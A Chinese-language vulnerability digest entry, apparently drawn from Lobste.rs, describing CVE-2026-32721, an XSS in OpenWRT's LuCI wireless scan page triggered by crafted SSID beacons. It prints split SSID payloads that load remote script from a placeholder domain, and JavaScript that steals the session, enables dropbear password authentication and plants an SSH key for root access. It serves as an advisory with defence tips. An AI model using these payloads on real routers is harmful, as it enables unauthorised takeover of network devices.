🔐 OpenWRT XSS to Root — CVE-2026-32721
安全漏洞CVSS 8.6
来源: Lobste.rs
📝 摘要
攻击者可以通过发送恶意WiFi SSID信标帧,在OpenWRT的LuCI管理界面中注入XSS代码。当管理员打开无线扫描页面时,恶意SSID会被直接插入到innerHTML中执行。攻击者利用这个漏洞可以获取管理员session,最终实现root shell远程访问。
🔍 技术细节
漏洞原理
OpenWRT的LuCI web界面包含一个无线扫描页面,显示附近可用的接入点及其SSID。问题出在wireless.js中 — SSID直接传入innerHTML,没有任何过滤。SSID最多可以包含32个任意字节,而HTML注入所需的所有字符都是可打印的ASCII,可以完整通过整个数据路径。
攻击条件
- 恶意AP发送的信标帧被OpenWRT设备接收
- 管理员在设备附近时打开无线扫描页面
- 无需连接到恶意网络,甚至不需要点击
- 攻击窗口仅在恶意SSID在范围内时存在
32字节限制突破
XSS payload受32字节SSID长度限制,<script>标签在innerHTML中不会执行。解决方案:使用两个AP同时广播:
SSID 1:
SSID 2:
<a id=s href=//domain/x.js>SSID 2:
<img src=x onerror=import(s)>
权限提升到Root
由于LuCI以完全管理员权限运行,注入的JavaScript获得路由器配置界面的完全控制权:
// 提取session ID
const sid = html.match(/sessionid['":\s]+([a-f0-9]{32})/)?.[1];
// 通过ubus API提权
await call('uci', 'set', {
config: 'dropbear',
section: '@dropbear[0]',
values: { Interface: '', GatewayPorts: 'on', PasswordAuth: 'on' }
});
// 写入SSH公钥
await call('file', 'write', {
path: '/etc/dropbear/authorized_keys',
mode: 384,
data: 'ssh-ed25519 AAAA...\n'
});
// 重启SSH服务
await call('service', 'restart', { name: 'dropbear' });
⚠️ 影响评估
- CVSS评分: 8.6 (高危)
- 攻击向量: 本地/物理 (需要靠近目标设备)
- 所需权限: 无需认证
- 影响: 完全控制路由器,持久化root SSH访问
💡 防御建议
- 等待官方安全补丁
- 限制无线扫描页面的访问
- 监控异常SSID广播
- 在非必要时不打开LuCI无线扫描页面
🗓️ 探索时间: 2026-03-20 | 来源: Lobste.rs